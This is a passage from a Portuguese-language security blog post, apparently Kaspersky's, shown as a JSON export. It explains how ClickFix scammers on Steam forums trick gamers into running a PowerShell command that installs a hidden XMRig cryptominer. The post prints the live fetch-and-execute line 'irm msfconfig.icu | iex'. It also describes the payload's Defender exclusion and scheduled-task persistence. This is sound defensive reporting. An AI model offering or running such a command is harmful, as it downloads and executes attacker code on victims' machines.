{"id":25265,"date":"2026-08-27T09:00:11","date_gmt":"2026-08-27T12:00:11","guid":{"rendered":"https:\/\/www.kaspersky.com.br\/blog\/?p=25265"},"modified":"2026-08-27T09:47:31","modified_gmt":"2026-08-27T12:47:31","slug":"steam-forum-clickfix-attack-irm-iex","status":"publish","type":"post","link":"https:\/\/www.kaspersky.com.br\/blog\/steam-forum-clickfix-attack-irm-iex\/25265\/","title":{"rendered":"Conselho perigoso para gamers: ClickFix chega aos f\u00f3runs da Steam"},"content":{"rendered":"

Este ano, houve uma verdadeira explos\u00e3o de ataques ClickFix<\/a>. O golpe faz tanto sucesso entre os criminosos que mal terminamos de escrever sobre uma variante e j\u00e1 surge outra.<\/p>\n

Desta vez, os invasores est\u00e3o de olho nos gamers: jornalistas de tecnologia identificaram publica\u00e7\u00f5es com dicas maliciosas<\/a> nos f\u00f3runs da Steam. Veja como s\u00e3o essas publica\u00e7\u00f5es, qual malware elas ajudam a disseminar e como manter seu dispositivo protegido.<\/p>\n

ClickFix chega aos f\u00f3runs da Steam<\/h2>\n

Muitos gamers recorrem a outros jogadores nos f\u00f3runs da Steam em busca de ajuda e dicas para superar uma miss\u00e3o dif\u00edcil, subir de n\u00edvel, conseguir os melhores itens ou contornar um bug. \u00c9 justamente essa confian\u00e7a nas recomenda\u00e7\u00f5es da comunidade que os invasores decidiram explorar.<\/p>\n

O ataque come\u00e7a quando criminosos respondem a uma pergunta sobre travamentos no jogo, itens ausentes no invent\u00e1rio ou outros problemas t\u00e9cnicos. Fingindo ser comentaristas prestativos, eles sugerem abrir o PowerShell como administrador e executar um comando que supostamente resolveria o problema do usu\u00e1rio.<\/p>\n

\"Publica\u00e7\u00e3o<\/a>

Ao disfar\u00e7ar a publica\u00e7\u00e3o como uma orienta\u00e7\u00e3o para solucionar problemas, o agente malicioso sugere executar o PowerShell como administrador e, em seguida, um comando que supostamente resolveria o problema do usu\u00e1rio. Fonte<\/a><\/p><\/div>\n

Como d\u00e1 para imaginar, executar o comando n\u00e3o resolve nada e s\u00f3 cria um problema muito maior. Essa \u00e9 justamente a l\u00f3gica do ClickFix: usar engenharia social para induzir as v\u00edtimas a executar a\u00e7\u00f5es inseguras por conta pr\u00f3pria, fornecendo aos golpistas os meios necess\u00e1rios para comprometer o dispositivo. J\u00e1 abordamos outros truques do ClickFix, como CAPTCHAs falsos, erros de navegador forjados e outros, todos baseados em fazer a pr\u00f3pria v\u00edtima executar o comando malicioso. Voc\u00ea pode saber mais sobre as diferentes varia\u00e7\u00f5es de ataques ClickFix<\/a> em uma postagem anterior.<\/p>\n

A ast\u00facia de usar o ClickFix nos f\u00f3runs da Steam \u00e9 que o ataque pode atingir n\u00e3o apenas o jogador que pediu ajuda. Muitos outros gamers que tiverem o mesmo problema e encontrarem a resposta em uma busca no Google tamb\u00e9m podem cair no golpe.<\/p>\n

Entenda rapidamente: o que realmente existe por tr\u00e1s do comando irm <\/em>| iex<\/em><\/h2>\n

Antes de explicar o que os invasores realmente induzem os gamers a instalar dessa maneira, \u00e9 importante apresentar um pouco do contexto t\u00e9cnico. Para come\u00e7ar, as publica\u00e7\u00f5es nos f\u00f3runs da Steam orientam as poss\u00edveis v\u00edtimas, sem que elas desconfiem, a executar o seguinte comando no PowerShell:<\/p>\n

irm msfconfig.icu | iex <\/code><\/p>\n

Para quem n\u00e3o conhece o PowerShell em detalhes, essa linha pode parecer bastante inofensiva, pois lembra a inicializa\u00e7\u00e3o do MSConfig, o utilit\u00e1rio de configura\u00e7\u00e3o do sistema integrado ao Windows, com alguns par\u00e2metros adicionais.<\/p>\n

Na verdade, est\u00e1 longe de ser inofensiva. Veja o que cada parte desse comando realmente faz:<\/p>\n

    \n
  1. irm<\/em><\/strong> \u00e9 a forma abreviada do comando integrado Invoke-RestMethod<\/em> do PowerShell. Acessa o endere\u00e7o da Web indicado mais adiante na linha e recupera os dados retornados.<\/li>\n
  2. icu<\/em><\/strong> \u00e9 esse endere\u00e7o da Web, e n\u00e3o o nome de um arquivo local, como pode parecer \u00e0 primeira vista. Trata-se do servidor dos invasores, que responde \u00e0 solicita\u00e7\u00e3o irm<\/em><\/strong> com um script malicioso do PowerShell.<\/li>\n
  3. iex<\/em><\/strong> \u00e9 outro comando integrado do PowerShell, Invoke-Expression<\/em>. Ele recebe o conte\u00fado obtido por irm<\/em><\/strong> nesse endere\u00e7o da Web e o executa como c\u00f3digo do PowerShell.<\/li>\n<\/ol>\n

    Quando essa linha de c\u00f3digo do PowerShell \u00e9 executada, ela baixa um script do site especificado e o executa imediatamente. Como um usu\u00e1rio do Reddit observou<\/a> corretamente, \u00e9 poss\u00edvel descobrir com seguran\u00e7a qual c\u00f3digo seria baixado para o dispositivo, sem correr o risco de execut\u00e1-lo, simplesmente removendo a segunda parte, iex<\/em><\/strong>. Sem ela, o comando apenas baixa o conte\u00fado do script e o exibe na janela do PowerShell, sem execut\u00e1-lo. Assim, \u00e9 poss\u00edvel ver o c\u00f3digo completo e sem ofusca\u00e7\u00e3o que est\u00e3o pedindo para executar no dispositivo. Agora, vejamos o que esses supostos usu\u00e1rios prestativos dos f\u00f3runs da Steam realmente querem que os gamers instalem em suas m\u00e1quinas.<\/p>\n

    Um minerador de criptomoedas, n\u00e3o uma ferramenta de otimiza\u00e7\u00e3o<\/h2>\n

    Os invasores fizeram a li\u00e7\u00e3o de casa: o script do PowerShell baixado do servidor deles imita de forma convincente um utilit\u00e1rio de otimiza\u00e7\u00e3o do Windows. Ap\u00f3s iniciado, ele exibe notifica\u00e7\u00f5es informando que exclui arquivos tempor\u00e1rios, limpa o cache DNS, atualiza drivers, verifica erros no disco e malware, desativa aplicativos desnecess\u00e1rios na inicializa\u00e7\u00e3o, repara a imagem do Windows e verifica a integridade dos arquivos do sistema.<\/p>\n

    \"Falsa<\/a>

    O script exibe uma sequ\u00eancia de mensagens sobre diversas tarefas falsas de otimiza\u00e7\u00e3o para dar a impress\u00e3o de que est\u00e1 realizando uma manuten\u00e7\u00e3o \u00fatil. Fonte<\/a><\/p><\/div>\n

    Enquanto isso, a atividade real acontece nos bastidores. Primeiro, o script verifica se est\u00e1 sendo executado com privil\u00e9gios de administrador. Em caso afirmativo, cria uma pasta de trabalho oculta em C:\\Windows\\Background<\/em> e a adiciona \u00e0 lista de exclus\u00f5es do Microsoft Defender. A partir da\u00ed, os arquivos colocados nessa pasta deixam de ser verificados pelo antiv\u00edrus integrado do Windows.<\/p>\n

    Em seguida, o script prepara o sistema para a pr\u00f3xima etapa do ataque e baixa um arquivo execut\u00e1vel do servidor dos invasores, salvando-o na mesma pasta C:\\Windows\\Background<\/em> com o nome system.exe<\/em>, que parece leg\u00edtimo.<\/p>\n

    O arquivo baixado \u00e9 o XMRig<\/em>, uma das ferramentas mais populares para minera\u00e7\u00e3o da criptomoeda Monero. O XMRig<\/em> em si n\u00e3o \u00e9 um malware, mas uma ferramenta de minera\u00e7\u00e3o leg\u00edtima e de c\u00f3digo aberto. O problema \u00e9 que os invasores o instalam nos computadores das v\u00edtimas sem o conhecimento delas. Quando est\u00e1 em execu\u00e7\u00e3o, o poder de processamento do dispositivo \u00e9 sequestrado para minerar Monero, e o valor em criptomoedas vai diretamente para os criminosos.<\/p>\n

    Isso torna os PCs gamers modernos alvos especialmente atraentes: eles contam com CPUs e GPUs potentes, exatamente o tipo de hardware excelente para minera\u00e7\u00e3o de criptomoedas.<\/p>\n

    Para garantir que o malware continue ativo ap\u00f3s uma reinicializa\u00e7\u00e3o, o script tamb\u00e9m cria uma nova tarefa no Agendador de Tarefas do Windows: XMRig-{computer name}<\/em>. A partir da\u00ed, o minerador de criptomoedas \u00e9 iniciado automaticamente sempre que o sistema \u00e9 ligado.<\/p>\n

    Como proteger seu dispositivo contra mineradores de criptomoedas e outros malwares<\/h2>\n

    Infelizmente, muitos gamers relutam em instalar software de seguran\u00e7a ou mant\u00ea-lo em execu\u00e7\u00e3o em seus dispositivos. O principal motivo \u00e9 o mito persistente de que \u201cum antiv\u00edrus deixa o jogo mais lento\u201d. J\u00e1 abordamos pesquisas sobre isso em nosso blog, e os resultados mostraram que n\u00e3o h\u00e1 impacto significativo no desempenho<\/a> ao usar um antiv\u00edrus durante os jogos.<\/p>\n

    J\u00e1 os mineradores de criptomoedas realmente prejudicam o desempenho e ainda aceleram o desgaste do hardware. Ent\u00e3o, como manter seu PC gamer e suas contas longe de riscos?<\/p>\n